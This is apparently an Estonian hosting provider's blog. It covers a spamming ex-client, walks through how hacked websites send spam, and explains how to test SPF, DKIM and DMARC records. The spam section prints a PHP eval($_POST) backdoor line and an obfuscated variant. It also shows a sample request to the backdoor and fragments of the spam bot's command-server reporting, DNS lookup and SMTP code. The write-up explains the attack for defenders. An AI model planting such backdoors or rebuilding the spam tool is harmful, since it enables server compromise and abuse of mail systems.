Tänase blogipostituse, põhiõiguste kaitse ja puhtama tunde toob teieni ex-klient serverist SN23, kes allkirjastas deklaratsiooni ja jätkas tuntud spämmi-teenuse kasutamist – mõistagi palume vabandust kõigilt neilt, kes temaga sama virtuaalset ruumi jagama sattusid.

spamhaus-report

ps. See pildil olev udutamine on lihtsalt selleks, et vältida keskendumist ühele ettevõttele – teades meie serverite IPsid võib igaüks SBList järgi uurida, kes parasjagu pahanduse majja tõi. Jätaks meelde parem selle No-spam deklaratsiooni ja aitaks sõpradele/äripartneritel inetut jama vältida.

Kuidas “häkitud” veebid spämmi saadavad?

Tihti juhtub, et veebilehed “häkitakse” ära ja seejärel hakkab tulema kaebusi, et konkreetse veebiserveri kaudu saadetakse spämmi. Mida see aga praktikas tähendab?

Algab kõik sellest, et spämmer leiab veebiserverist automatiseeritud tööriistade mõne tuntud turvaaugu. Just nimelt automatiseeritud, sest mitte ükski spämmer ei käi ükshaaval veebilehti läbi vaatamas, kõik toimub automaatselt. Ning pole oluline kui vähetähtis või väheste külastajatega või mis keeles rünnatav veebileht on, sest reeglina ei ole sihtmärgiks mitte veebileht, vaid serveriressurss, mis sellele veebilehele eraldatud on. Järgmise sammuna sokutab spämmer turvaauku ära kasutades mõnda PHP faili (näiteks /templiidid/ammu-enam-ei-kasuta/jalus.php) järgmise, üsna süütuna näiva rea:

eval($_POST['UIOV61']);

Tavaliselt küll on see rida veidi hägustatud kujul, et seda liiga kerge tuvastada poleks. Näiteks ei loeta muutuja sisu otse õigest kohast, vaid pannakse see kuidagi keerulisemalt kokku, näiteks nii:

$m='_'.strtoupper(join('', array_reverse(array('t','s','o','p'))));
eval(${$m}['UIOV61']);

Selline kood teeb täpselt sedasama, mida eelminegi näide, kuid $_POST muutuja kasutamine on nüüd silma eest ära peidetud. Konkreetne näide on imetud virtuaalsest pastakast, kuid selles suhtes väga vahet polegi, et kuidas täpselt seda tegevust peita – võimalusi on mustmiljon ning kõik need leiavad ka kasutust.

Siinkohal võikski nagu loole punkti panna, spämmer on kodulehele sisse saanud ja teinud oma pahanduse, ühtegi muud veebilehe faili spämmer enam ei puutu ja sellega olekski lugu läbi. Paraku siiski siin lugu alles algab, sest selle rea lisamisega on meie veebiserver liidetud passiivse osalisena mõnda suurde botneti. Nimelt võimaldab eval()funktsioon käivitada suvalist PHP koodi ning kõige tavalisema POST päringu abil saab ette anda tolle käivitamisele mineva $_POST muutuja sisu. Edasi polegi muud, kui oodata “keskuselt” käsklusi, kus tolle häkitud PHP faili pihta tehakse POST päring muutujaga “UIOV61”, mille sisuks on käivitamisele minev kood.

POST /templiidid/ammu-enam-ei-kasuta/jalus.php HTTP/1.1
Host: meieveebileht.ee
Content-length: 12345

UIOV61=%24indata%20%3D%20new%20stdClass()%3B[...]

Järgnev ongi reaalne spämmimiskatse, mis sarnase tagaukse kaudu toimus. Tegu on sisuliselt omaette rakendusega, millel “peremees”-veebilehega igasugune seos puudub, veebiserveri jaoks on see nagu iga teine PHP kood, mida käivitada tuleb. Täpsemalt proovib rakendus saata tundmatutele isikutele meie serverist spämmi ja vaatlemegi lähemalt, et mida spämmeri rakendus selle eesmärgi nimel ette võtab.

Rakenduse alguses kirjeldatakse ära spämmikirja andmed ning potentsiaalsed adressaadid. Nagu näha on tegu vana tuttava sisuga, millist on täis pea iga spämmikaust.

$indata->subj = "Re:  Hiya";
$indata->html = "<div>Hiya, I'm a lonesome  girl, searching real person[...]
...
$indata->list[] = (object) array('fn' => '', 'ln' => '', 'm' => '*****@yahoo.com');
$indata->list[] = (object) array('fn' => '', 'ln' => '', 'm' => '*****@gmail.com');

Nüüd vaatab spämmer, et millist võrguühenduste funktsionaalsust konkreetne PHP installatsioon pakub. Seda teadmist on vaja, et hiljem korrektselt võrguühendusi avada.

if (function_exists('fsockopen'))[...]
elseif(function_exists('socket_create')[...]
elseif(function_exists('stream_socket_client')[...]

Täiendavalt koostab spämmer ka funktsiooni connect, mis avab leitud sobiva meetodi abil nii TCP kui ka UDP ühendusi. Seda koodi lahti kirjutama ei hakka, midagi huvitavat selles pole. Küll aga peame teadma, et see on olemas, kuna seda funktsiooni läheb edaspidi tarvis.

$repsock->connect("udp", "now.******.com", 9141, 10, true);

Ja ongi esimene välisühendus avatud, kuid meie üllatuseks on tegu hoopis UDP protokolliga. Selle kaudu aga spämmi saata ju ei saa? Tuleb välja, et spämmer tahab teada kuidas tema spämmirakendusel läheb ja tagasiside saamiseks saadab ta üle UDP oma keskserverisse igasugust debug ja muud huvitavat infot. Kohe algatuseks saadabki spämmer endale järgmise paketi (5760704 on sessiooni võti):

$repsock->send("Bcnf :: Start :: 5760704 :: (0)")

(Konkreetne kood on loetavause mõttes lihtsustatud, kuna tegelikult näeb UDP pakett välja teistsugune, vajaliku teisenduse teeb ära spämmeri koostatud funktsioon, mida ei hakka eraldi välja tooma.) Samasuguseid teateid saadetakse rakenduse igal sammul ning rohkem neist võibolla juttu ei hakkagi tegema.

Samas toimub ka süsteemsest /tmp kaustast ühe kindla faili lugemine (juhul muidugi, kui selline fail on juba olemas) ning sellest andmete sisselugemine. Mis info see täpselt on, seda vaatame veidi hiljem. Jätame selle andmete laadimise fakti momendil lihtsalt meelde.

Nüüd läheb rakendus tsüklisse, kus ükshaaval võetakse ette kõik potentsiaalsed spämmi saajad. Selline “individuaalne lähenemine” tähendab muu hulgas seda, et spämmi saaja ilutseb kenasti üksinda kirja To: real, mitte ei ole kiri adresseeritud korraga anonüümsele undisclosed-recipients:; grupile, kus kõik tegelikud adressaadid on peidetud BCC reale.

Esimese asjana on spämmeril vaja tuvastada adressaadi MX e-posti server. Selle jaoks on tarvis teha DNS päring – alguses MX kirje või selle puudumisel A kirje leidmiseks. DNS päringuid saab teha samuti mitut moodi ja kõigepealt proovib spämmer leida vajalikud kirjed getmxrr funktsiooni abil. Juhul kui seda funktsiooni ei ole lubatud kasutada, on spämmer koostanud alternatiivse variandina omaenda DNS kliendi, mis üle UDP ühenduse 8.8.8.8:53 nimeserveri pihta kõik vajaliku ise selgeks teeb. Juhul kui ka UDP päringuid teha ei saa, proovib spämmer viimase võimalusena gethostbyname funktsiooni.

// Spämmer DNS päringu paketti kokku panemas
$this->tid = rand(0x0001, 0xFFFE);
$this->req_data = pack("nnnnnn", $this->tid, 0x0100, 0x0001, 0x0000, 0x0000, 0x0000);

Kui MX server on teada, siis võib selle adressaadiga edasi liikuda. Nüüd hakkab spämmer adressaadi jaoks e-posti kirja lähteandmetest kokku panema. Ikka nii, et adressaat üksi istub To: real ning ka ülejäänud kiri näeb vormistuselt korrektne välja, et spämmikontrolli sellega eksitada.

"From: ".$indata->m_fromh."\r\n".
"Reply-To: ".$indata->repto."\r\n".
"Message-ID: <".$indata->list[$key]->mess_id.">\r\n".
"To: ".$indata->list[$key]->mh."\r\n".
"Subject: ".$indata->list[$key]->subj."\r\n".
"X-Priority: 3 (Normal)\r\n".

Kui kiri on kokku pandud, üritab spämmer seda ära saata, proovides avada porti 25 adressaadi e-posti MX serverisse, mis kirjade vastuvõtmisega tegeleb.

$sock->connect("tcp", $indata->list[$key]->mx_ip, 25, 10, true)

Spämmirakenduse SMTP protokolli kasutus on korrektne ning juhul kui vastuvõttev server toetab STARTTLS laiendust ühenduse krüpteerimiseks, proovib spämmer seda ka kenasti kasutada, eksitades sellega nii spämmikontrolli kui ka kaotades Gmaili puhul kirja juurest punase tabaluku ikooni.

Alati võib juhtuda, et server miskipärast sellest kirjast keeldub. Põhjuseid võib jälle olla mustmiljon, kuid spämmer ei jäta midagi juhuse hooleks. E-kirjadest keeldumise põhjuste kirjeldamisega on tänapäeval lugu üsna segane. Suhteliselt kindlalt võib arvata, et juhul kui vastuskood on 5xx, siis keeldub server kirjast lõplikult, aga kui see on 4xx, siis võib mõne aja pärast uuesti saata. Samas, iga tagasilükkamine pole võrdne, eksisteerib igasuguseid erandeid. Spämmer on seetõttu enamlevinud veebiteenuste vastusteated ära kirjeldanud, et mida selle puhul siis teha. Näiteks juhul kui tegu on AOL serveriga ja vastuseks tuleb järgmine teade, siis võib eeldada, et konkreetne veebiserver on AOL jaoks mustas nimekirjas (‘bl’ reegel) ja sellest serverist AOL’i kirju saata pole enam mõtet.

array(
  ".mx.aol.com" => array(array(array(
    1
  ),
  '^554[ \-].*ESMTP not accepting connections',
    'bl'
  ), [...]

Kuid nagu juba mainitud, siis iga tagasilükkamine pole sugugi võrdne ja ka 5xx veateate korral võib mõnel juhul uuesti proovida. Näiteks iCloud serveri jaoks on spämmeril järgmine reegel, mis suunab 550 vea korral kirja hoopis nn.greylisti (‘gl’ reegel):

array(
  ".icloud.com" => array(
    3
  ),
  '^550[ \-]5\.7\.0.*Blocke',
    'gl'
  ), [...] 

Kui kõik adressaadid on sarnasel viisil läbi käidud, võikski loole punkti panna, aga ikka ei saa me seda teha. Mäletatavasti avas spämmer rakenduse alguses mingi faili, aga milleks see siis vajalik oli?

Sellesse faili paneb spämmer kirja järgmisteks käivitusteks vajaliku info. Näiteks selle, et millise aadressi jaoks millist MX kasutada saab või et milline MX server on selle saatja ära blokkinud jne. Lisaks pannakse kirja ka viited greylistitud kirjadele ning nende uuesti saatmise intervall. Juhul kui spämmirakendus kunagi hiljem uuesti käima läheb, taastatakse nii greylistud kirjade info ja kui eelmisest saatmisest on möödas nõutud intervall, siis proovibki spämmer seda kirja uuesti saata. Ja seekord eeldatavasti juba edukalt.

Kuidas kontrollida väljuva e-posti SPF+DKIM+DMARC toimimist?

E-posti saatja tuvastamine muutub spämmiga võitlemise tõttu üha olulisemaks ning tehniline lahendus on “paneme domeenile ranged SPF+DKIM+DMARC reeglid peale, välistame võõrastel meie nimel kirjade saatmise ja kõik on jälle hästi”.

Kuidas aga kontrollida, et lisatu tõesti toimib ning kõik saadetud kirjad kohale jõuavad?

Hästi lühidalt: kõik kolm on DNSi ehk domeeni nimeserverisse lisatavad kirjed. SPF on nimekiri serveritest, mis tohivad sinu domeeninimega e-posti saata. DKIM lisab väljuvale e-postile digitempli, mis võimaldab vastuvõtjal kontrollida saatja õigust domeeni nimel posti saata. DMARC kinnitab, et SPF ja/või DKIM on kasutusel ning võimaldab tellida raporteid väärkasutuse või reeglitele mitte vastavate kirjade kohta.

Üsna lihtne on mõni e-posti saatmise kanal ära unustada ja tekitada olukord, kus osa varem saadetud kirjadest spämmiks loetakse. Sageli on korraga kasutusel veebimeil, e-postiprogrammid arvutis ja mobiilseadmes – aga kirju võivad meie nimel saata veel ka:

  • automaatvastajad, kirjade edastajad, myyk@ või info@ postigrupid
  • e-posti-turunduse lahendus (nt Mailchimp, Mailbow, Sendsmaily)
  • majandustarkvara pilves (nt Erply, Directo) või kasutaja arvutis
  • kliendisuhtlusega seotud tarkvara (nt Pipedrive, Kayako, Zendesk, Intercom)
  • veebiserver (nt kontaktivorm või e-poe ostukinnitused)
  • tootmislahendused, kliimaseadme monitooring jne

Väga mugav lahendus testimiseks on mail-tester.com – lehe külastamisel kuvatakse sulle unikaalne aadress, saates sinna test-kirja saad tulemuseks hinde ja selgitused:

perfektne-skoor

Kui midagi 10/10 tulemusest puudu jääb, kuvatakse selgitust ja soovitusi.

Nii näeb näiteks välja tulemus, kui saatja tuvastamist võimaldavad kirjed on seadistamata ning skoor 7/10:

mailtester-soovitused

Aga proovime teistpidi, lisame domeenile soovitatud SPFi ja saadame kirja välja ühest mujal asuvast arvutist – näiteks on raamatupidaja “palgaprogramm” või Outlook seadistatud kasutama internetiühenduse pakkuja postiserverit, müügimehed saadavad pakkumisi välja läbi teenusepakkuja serveris töötava veebipõhise CRM-tarkvara vms:

bad-mail-go-home

Nagu näha, on olukord muutunud raamatupidaja või müügimehe jaoks hullemaks ja see on ka põhjus, miks me ei saa, taha ega tohi “jõuga” kõigile klientidele SPF’i lisada – küll aga tegime selle ise lisamise võimalikult lihtsaks ning aitasime mail-tester.com eestindada.

Tegevusplaan võiks olla selline:
  1. tee nimekiri kõigist lahendustest, mis võivad sinu domeeni nimel posti saata – milline SMTP-server on kasutajate arvutites-telefonides seadistatud, millist tarkvara nad veel kasutavad (küsi kõigil, ka laomehelt), kontaktivormid veebis, uudiskiri, e-pood jne
  2. kui tundub, et kõik kasutavad Zone servereid – siis võid SPF+DKIM+DMARC toed sisse lülitada ja asuda umbes veerand tunni pärast testima (selle aja peale peaksid kõik Zone nimeserverid andma sama tulemust)
  3. kui kasutad ka muid teenuseid, siis uuri nende käest järgi soovituslik SPF kirjele lisatav IP-aadress või “include:” ning kohanda SPF-kirjet vastavalt, DKIM lubamisel arvesta, et see puudutab ainult Zone serverite kaudu saadetavaid kirju
  4. TESTI – võta mail-tester.com pealt test-aadress ning saada sinna kiri oma Outlook’ist või Mail’ist. Kontrolli tulemust. Saada mobiilist (võid kasutada sama aadressi või genereerida uue – lehte värksendades näed alati viimati saadetud kirja tulemust). Tee oma e-poest proovitellimus registreerides kliendi test-eposti aadressiga. Lase laomehel saata üks saateleht, test-aadressile mõistagi. Jne.

Kui mõni saatja ei sobi, siis kohenda SPF-kirjet. Selle sisu formaat on väga lihtne, näiteks lisades MailChimpi serverid ja ühe konkreetse IP:

v=spf1 a mx include:_spf.zone.eu include:servers.mcsv.net ip4:xxx.xxx.xxx.xxx ~all
  • v=spf1 – SPF-kirje tunnus
  • a – saatmine lubatud kõigilt domeenis A-kirjet omavatelt IP-aadressidelt
  • mx – saatmine lubatud kõigist domeeni posti-serveritest
  • include:_spf.zone.eu – saatmine lubatud kõigist Zone Media serveritest
  • include:servers.mcsv.net – saatmine lubatud MailChimpi serveritest
  • ip4:xxx.xxx.xxx.xxx – saatmine lubatud IP-aadressilt xxx.xxx.xxx.xxx
  • ~all – kõik ülejäänud aadressid ei ole otseselt keelatud

Kui oled täiesti kindel, et kogu väljuv post kasutab ainult SPF-kirjes olevaid aadresse, võid ~all asemele panna ka -all – see ütleb üheselt, et nimekirjas mitte olevatest serveritest tulev post tuleks spämmiks lugeda. Enne SPF (ja DMARC) kirjete rangemaks keeramist tuleks aga ette võtta DMARC pakutav võimalus koguda raporteid domeeni nimel saadetava ja reeglitele mittevastava posti kohta ning siis liikuda edasi samm-haaval.

Zone serverite jaoks on SPF+DKIM+DMARC lisamine ja kohandamine lihtne, sisuliselt kolm klikki:

Olgu lisatud, et seadistused jõustuvad ca 15 minuti jooksul ning DKIM digitempel lisatakse veebimeilist ja Zone SMTP kaudu saadetavatele kirjadele, Pakett II ja III puhul ka veebiserverist saadetavatele. Teiste teenuste DKIM-kirjed saab lisada tavapärasel viisil ehk nimeserverite alt.